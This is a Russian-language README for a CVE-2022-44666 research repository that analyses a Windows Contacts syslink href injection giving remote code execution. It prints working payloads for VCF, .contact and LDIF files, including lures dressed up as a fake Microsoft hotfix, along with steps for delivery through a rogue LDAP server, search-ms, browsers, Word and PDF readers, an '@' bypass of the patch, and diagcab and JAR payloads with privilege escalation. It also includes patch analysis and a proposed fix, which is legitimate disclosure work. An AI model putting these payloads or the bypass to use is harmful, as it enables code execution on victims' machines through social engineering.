j00sean/cve-2022-44666Техническое описание и PoC для CVE-2022-44666, уязвимости в элементе управления syslink в Windows Контакты, связанной с экранированием атрибута href, позволяющей удаленное выполнение кода через специально созданные файлы VCF/.contact и обработчик протокола LDAP.
Это история ещё об одной забытой 0day, полностью раскрытой более 4 лет назад [Джоном Пейджем (hyp3rlinx)][R.1]. Чтобы понять отчёт, нужно учитывать, что я тупой :-) И моя тупость заставляет меня идти более длинными путями для решения простых задач, но также приводит к поиску других способов эксплуатации некоторых багов. Почему я это говорю? Потому что я не смог быстро понять, что способ создать файл .contact — это просто перейти в папку «Контакты», чтобы создать контакт; вместо этого я использовал эту информацию, чтобы сначала создать VCF-файл, а затем ошибочно подумал, что это какой-то вариант. Это также произошло из-за того, что мой мозг не может понять, почему некоторые 0day забываются на такое долгое время ¯\(ツ)/¯ После того, как это было сделано и после ответов «не будет исправлено» от [MSRC][R.2] и [ZDI][R.3], были проведены дальнейшие исследования для повышения серьёзности, в конечном итоге были задействованы файлы .contact и обработчик URL-протокола Windows «ldap».
Пока я читал код эксплойта для [этой уязвимости][R.4], который на самом деле был опубликован как 0day, можно найти [отчёт ZDI][R.5].
Обновление от 21.07.2022: После сообщения об этом случае в MS, сотрудники MSRC справедливо указали мне, что Windows Contacts не является программой по умолчанию для открытия VCF-файлов.
Дальнейшее исследование всё же показывает, что программа по умолчанию для VCF-файлов в Win7 ESU и WinServer2019 — Windows Contacts (wab.exe), в противном случае используется MS People (PeopleApp.exe). Вот полная таблица этого тестирования:
В любом случае они всё ещё утверждают, что для эксплуатации бага требуется определённая социальная инженерия, такая как открытие специально созданного VCF-файла и клик по некоторым ссылкам, поэтому это не соответствует критериям MSRC для выпуска обновления безопасности.
Обновление от 25.07.2022: Что ж, после дальнейшего исследования это тот же баг. В итоге мне удалось найти proof of concept для файла .contact. На самом деле можно корректно распарсить файл .contact, используя HTML-сущности. Обратите внимание, это решает предыдущую проблему (Обновление от 21.07.2022), и этот формат файла (.contact) открывается Windows Contacts, программой по умолчанию для этого расширения, даже если в системе установлен MS Office. Требуется лишь первая ассоциация файла, если она ещё не была выполнена, но единственная программа, установленная по умолчанию для этого, — Windows Contacts.
Обновление от 25.07.2022: Это дальнейшее исследование привело меня к точке, к которой я стремился некоторое время назад: использовать какой-либо обработчик URL-протокола для автоматического открытия специально созданных контактных данных для эксплуатации бага. В итоге мне удалось заставить это работать благодаря схеме URI ldap, которая по умолчанию связана с приложением Windows Contacts. Таким образом, просто настроив мошеннический LDAP-сервер и передавая полезную нагрузку в атрибутах mail, url или wwwhomepage, влияние эксплуатации возрастает, поскольку теперь не требуется дважды кликать по вредоносному файлу VCF/Contact; мы можем доставлять это с помощью URL-протоколов.
Обновление от 08.02.2023: В качестве жеста доброй воли со стороны MSRC [Джон Пейдж (hyp3rlinx)][R.1] был включён на страницу благодарностей за обнаружение [CVE-2022-44666][R.10].
Отчёт в основном такой же, как по ссылкам выше, однако я немного улучшил социальную инженерию. На самом деле, первое, что я сделал, — это улучшил видимость ссылок, как если бы это была уязвимость XSS; на самом деле это HTML-инъекция, поэтому можно закрыть первый элемент привязки и вставить новый. Затем я хотел скрыть эти HTML-элементы из виду, так что простое задание как можно более длинного «innerHTML» было бы достаточным для их сокрытия (из-за ограничений на количество символов).
Вот финальная полезная нагрузка:```html URL;WORK:">CLICKMEEEEE...
Чтобы увидеть, что происходит, запустите procmon и настройте фейковый target атрибута href следующим образом:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
После нажатия на ссылку в procmon наблюдается такой вывод:
Это трассировка стека для первой операции "CreateFile":``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
Установив точку останова в **Shell32!ShellExecuteExW**, мы можем получить более четкое представление о задействованных функциях:```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
И соответствующий псевдокод выглядит следующим образом:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
} return 1i64; }
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }
После этого становится ясно, что проблема на самом деле связана с [элементами управления SysLink в библиотеке comctl32.dll][R.6] и тем, как атрибут href парсится библиотекой wab32.dll.
Невозможно использовать удаленные общие расположения или webdavs для эксплуатации этой уязвимости.```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5C127.0.0.1%4080%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5Cvboxsvr%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
Информация о файле запрашивается, но никогда не выполняется.
Можно использовать относительные пути, например:```html URL;WORK:">CLICKMEEEEE...
Пример:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/hidden%5Cpayload.exe">CLICKMEEEEE...</a>
Продолжая тестирование и в ходе проверки rundll32 как вектора атаки, я заметил, что невозможно использовать аргументы с выбранным исполняемым файлом полезной нагрузки. Однако, используя файл lnk, который указывает на выбранный исполняемый файл, стало возможным использовать аргументы командной строки. Это немного хитро, но работает.```html URL;WORK:">CLICKMEEEEE...
Цель run.lnk:```
rundll32.exe hidden\payload.bin,Foo"
Это выглядит более интересно, поскольку не требует размещения исполняемого файла в целевой системе.
Удаленное выполнение кода от имени текущего пользователя.
Для открытия файлов .vcf должно быть настроено сопоставление с приложением Windows Contacts.
Обновление от 25.07.2021: Для файлов контактов (.contact) существует только одно приложение для открытия по умолчанию: Windows Contacts, даже если в целевой системе установлен MS Office.
Используя файлы, расположенные в ./report-pocs/:
Есть несколько видео в ./videos:
Это сводка файлов доказательств концепции, расположенных в ./report-pocs/:
И файлы, расположенные в ./src:
Для дальнейшей эксплуатации, учитывая, что уязвимость не позволяет загружать файлы с удаленных общих расположений, интересным вектором является протокол URI "search-ms". Вы найдете доказательства концепции, которые запускают только локальные бинарные файлы, такие как calc или notepad, а также более сложные доказательства концепции, которые я назвал "оружием" (weaponized), поскольку они не выполняют локальные файлы. Эти PoC и эксплойты находятся в ./further-pocs/.
Это сводка целевых приложений:
Для воспроизведения:
Настройте удаленное общее расположение (SMB или WebDav). Скопируйте содержимое ./further-pocs/to-copy-in-remote-shared-location/ в него.
При желании скройте файлы, запустив ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.
Измените файл exploit.html/poc.html, расположенный в ./further-pocs/[вектор или целевое приложение]/remote-weaponized-by-searchms/, указав ваше удаленное общее расположение.
Запустите веб-сервер в папке целевого приложения, то есть: ./further-pocs/[вектор или целевое приложение]/[poc||remote-weaponized-by-searchms]/.
Запустите файлы poc/exploit в зависимости от случая.
Для получения дополнительной информации посмотрите видео в ./videos:
Кроме того, вот все файлы для дальнейшей эксплуатации:
После получения Обновления от 21.07.2022 от MSRC, я решил взглянуть на расширение файла контакта, чтобы подтвердить, является ли это тем же случаем, что и у первоначального исследователя, и, конечно, это так. Мое первое доказательство концепции просто использовало другой формат файла, но сама уязвимость та же. С помощью wabmig.exe, расположенного в "C:\Program Files\Windows Mail", можно конвертировать все VCF-файлы в файлы контактов.
И, как упоминалось во введении, эти файлы открываются приложением Windows Contacts (программа по умолчанию).
Шаги для воспроизведения те же, что и для VCF-файлов. Те же ограничения, которые наблюдаются для VCF-файлов, применяются и к файлам контактов, то есть невозможно использовать удаленные общие расположения для атрибута "href", но по-прежнему можно использовать локальные пути или протокол URL "search-ms".
Вот все файлы, добавленные или измененные для эксплуатации файлов контактов:
Как упоминалось выше, это дальнейшее исследование привело меня к точке, которую я пытался достичь некоторое время назад: использовать какой-либо обработчик URL-протокола для автоматического открытия созданных данных контакта с целью эксплуатации уязвимости. Эта задача была наконец решена благодаря схеме URI ldap.```js ... Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
То есть:```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
Поэтому, просто подняв подставной LDAP-сервер и отдавая полезные данные, можно использовать этот обработчик URL-протокола для запуска Windows Contacts (wab.exe) с вредоносной полезной нагрузкой в атрибутах ldif mail, url или wwwhomepage. Обратите внимание, что мне не удалось заставить это работать с атрибутом "wwwhomepage", как указано [здесь][R.8], но теоретически это должно работать.
Сформированное содержимое ldif выглядит примерно так:```html ... dn: dc=org dc: org objectClass: dcObject
dn: dc=example,dc=org dc: example objectClass: dcObject objectClass: organization
dn: ou=people,dc=example,dc=org objectClass: organizationalUnit ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org cn: Microsoft gn: Microsoft company: Microsoft title: Microsoft KB5001337-hotfix mail:">Run-installer... url:">Run-installer... wwwhomepage:">Run-installer... objectclass: top objectclass: person objectClass: inetOrgPerson ...
А код для мошеннического LDAP-сервера был взят из сервера быстрого запуска проекта ldaptor, расположенного [здесь][R.9].
Это сводка целевых приложений:
* Браузеры: MS Edge, Google Chrome, Mozilla Firefox и Opera.
* MS Word.
* PDF-ридеры (в основном Adobe Acrobat Reader DC и Foxit PDF Reader).
Шаги для воспроизведения:
1. Скопируйте [./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs) в удалённую общую папку (SMB или WebDav).
2. Если нужно, скройте файлы, запустив [./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/setup-hidden.bat).
3. Установите ldaptor через pip: pip install ldaptor. Примечание: это было протестировано на Python 2.7 x64.
4. Запустите мошеннический LDAP-сервер, расположенный в [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py)
5. Запустите веб-сервер по пути целевого приложения, то есть: ./further-pocs/[vector or target app]/url-protocol-ldap/.
6. Запустите файлы эксплойтов в зависимости от ситуации.
7. Для получения дополнительной информации посмотрите видео, расположенные в [./videos](https://github.com/j00sean/cve-2022-44666/blob/main/videos):
- 7.1. Для браузеров: [./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-browsers-exploit.gif).
- 7.2. Для MS Word: [./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-msword-exploit.gif).
- 7.3. Для PDF-ридеров: [./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-pdfreaders-exploit.gif).
Это дополнительные файлы для эксплуатации URL-протокола ldap:
+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/browsers/url-protocol-ldap/exploit.html): HTML-файл для загрузки URL-протокола ldap на мошеннический LDAP-сервер, который возвращает сконструированные данные для почты и URL-адресов.
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/poc.html): удалённый шаблон, также известный как htmlfile activex, для загрузки URL-протокола ldap на мошеннический LDAP-сервер, который возвращает сконструированные данные для почты и URL-адресов.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.rtf): Файл Word в формате RTF, который запускает удалённый шаблон, также известный как htmlfile activex.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.docx): Файл Word в формате DOCX, который запускает удалённый шаблон, также известный как htmlfile activex.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.html): HTML-файл для загрузки URL-протокола ldap на мошеннический LDAP-сервер, который возвращает сконструированные данные для почты и URL-адресов.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf): PDF-файл, который запускает браузер по умолчанию для выполнения URI-протокола «ldap».
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py): Скрипт Python, основанный на примере сервера для ldaptor, который работает на Python 2.7 и предоставляет сконструированные данные для эксплуатации ошибки через атрибуты ldif mail, url и wwwhomepage.
## CVE-2022-44666: Анализ патча и неполное исправление
13 декабря 2022 года Microsoft выпустила патч для этой уязвимости как [CVE-2022-44666][R.10].
Версии, использованные для сравнения патча (расположенные в C:\Program Files\Common Files\System\wab32.dll), были:
+ MD5: 588A3D68F89ABF1884BEB7267F274A8B (до патча)
+ MD5: D1708215AD2624E666AFD97D97720E81 (после патча)
При сравнении затронутой библиотеки (wab32.dll) с помощью [Diaphora][R.11] от [@matalaz][R.12], мы обнаружим некоторые новые функции:
А это частичные совпадения:
Взглянув на новый код функции «fnSummaryProc»:```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
После исправления новый код вызывает функцию "SafeExecute" (2) или показывает окно сообщения (4).
Чтобы добраться до вызова функции "SafeExecute" (2), можно проследовать по потоку кода в (1):```cpp _BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn) { const WCHAR *v1; // rbx _BOOL8 result; // rax DWORD pcchOut; // [rsp+30h] [rbp-68h] char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn; result = 0; if ( UrlIsW(pszIn, URLIS_URL) ) // (5) { memset_0(&Dst, 0, 0x40ui64); pcchOut = 32; if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0 && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6) { result = 1; } } return result; }
Эта функция сначала проверяет, является ли [URL действителен в (5)][R.13], затем проверяет, начинается ли он с "http" или "https" в (6). Этот путь кода выглядит достаточно безопасным. Возвращаясь к функции "fnSummaryProc", существует ещё один путь кода, который может помочь обойти исправление в (3).```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
Одна вещь привлекла мое внимание в (7), где код проверяет, существует ли символ '@'. Затем вызывается функция "IsDomainName", чтобы проверить, является ли строка после символа '@' доменным именем:```cpp __int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3) { int v3; // edi int v4; // ebx int v5; // er9 __int64 v6; // rdx
v3 = a3; v4 = a2; if ( !a1 ) return 0i64; LABEL_2: v5 = *a1; if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E ) return 0i64; while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) ) { if ( (unsigned __int16)v5 >= 0x80u ) return 0i64; if ( (unsigned __int16)(v5 - 10) <= 0x36u ) { v6 = 19140298416324617i64; if ( _bittest64(&v6, (unsigned int)(v5 - 10)) ) return 0i64; } if ( (_WORD)v5 == 46 ) { a1 = CharNextW(a1); if ( a1 ) goto LABEL_2; return 0i64; } a1 = CharNextW(a1); v5 = *a1; } if ( v4 ) { if ( (_WORD)v5 != 0x3E ) return 0i64; if ( v3 ) *a1 = 0; } return 1i64; }
Таким образом, обход исправления довольно прост. Нужно всего лишь использовать один символ "@". Атрибуты href симлинков, подобные этим, успешно обойдут исправление:```html
hidden\@payload.lnk
hidden\@payload.exe
.```html [email protected] [email protected]
Для получения дополнительной информации есть видео для [автономного контактного файла](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/simple-payload.gif).
Proof of concept находится в [./bypass/report-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/report-pocs).
И еще одно видео для [MS Word и протокола LDAP URL](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-exploit.gif).
Proof of concept находится в [./bypass/further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/further-pocs).
Через день после выпуска исправления эта информация была отправлена в MSRC. К сожалению, случай недавно был закрыт без дополнительной информации.
## Файл Diagcab в качестве полезной нагрузки
После [CVE-2022-30190][R.14], также известной как [уязвимость Follina][R.15], и [CVE-2022-34713][R.16], также известной как [уязвимость DogWalk][R.17], [общеизвестный, но недооцененный метод][R.18] возродился благодаря [@buffaloverflow][R.19]. Мой товарищ и друг [Eduardo Braun Prado][R.20] подсказал мне использовать этот метод здесь.
Для этого есть несколько предварительных требований:
1. Целевой пользователь должен принадлежать к группе администраторов. Если нет, появится запрос UAC.
2. Файл diagcab должен быть подписан, поэтому сертификат подписи кода должен быть установлен на целевом компьютере.
Реальный сценарий атаки заключался бы в краже сертификата подписи кода, который фактически установлен в целевой системе. Но поскольку это всего лишь proof of concept, был сгенерирован и использован самоподписанный сертификат подписи кода для подписи файла diagcab с именем [@payload.diagcab](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/MSWord/hidden/%40payload.diagcab).
Таким образом, для воспроизведения необходимо установить сертификат, расположенный в [cert.cer](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/cert.cer), в доверенные корневые центры сертификации [как показано здесь](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/install-certificate.gif):
Чтобы окончательно повысить привилегии, можно использовать кражу/имитацию токена. В данном случае [техника "родительского процесса"][R.21] была [выбрана][R.22]. Модифицированная версия этого скрипта была включена в скрипты резолвера.
Для получения дополнительной информации есть видео для [MS Word и протокола LDAP URL](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-diagcab-exploit.gif).
Proof of concept находится в [./bypass/diagcab-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs).
## Файлы JAR в качестве полезной нагрузки
***Обновление от 19.06.2023:*** После прочтения [поста @pfiatde][R.24] о ["ZipJar"][R.25] эта интересная информация делает JAR-файлы хорошим кандидатом для использования в качестве полезной нагрузки в этой уязвимости, которая, кстати, до сих пор является 0day, поскольку MotW игнорируется и не требует принятия каких-либо запросов.
Полезная нагрузка JAR была взята из репозитория GitHub [calc_security_poc][R.26].
В приложении небольшой сборщик [create-poc.py](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/jar-poc), чтобы создать собственный POC на основе шаблона.
Не забудьте поблагодарить [@microlovu][R.27] и [@mlftsecresponse][R.28]. 😂
## Предложенное исправление
Помните уязвимый код в функции «fnSummaryProc»:```cpp
...
LABEL_44:
SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44;
}
}
...
Функция "IsInternetAddress" была специально создана для проверки, соответствует ли атрибут href какому-либо адресу электронной почты. Итак, мое предложенное исправление (следуя импортированным функциям, которые использует библиотека) будет:```cpp ... if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:" { v30 = v23; goto LABEL_44; } ...
Так просто, нужно только проверить это перед вызовом "SafeExecute". Просто проверить, начинается ли целевая строка (v23) с "mailto:", ошибка была бы полностью исправлена, ИМХО.
## Неофициальное исправление
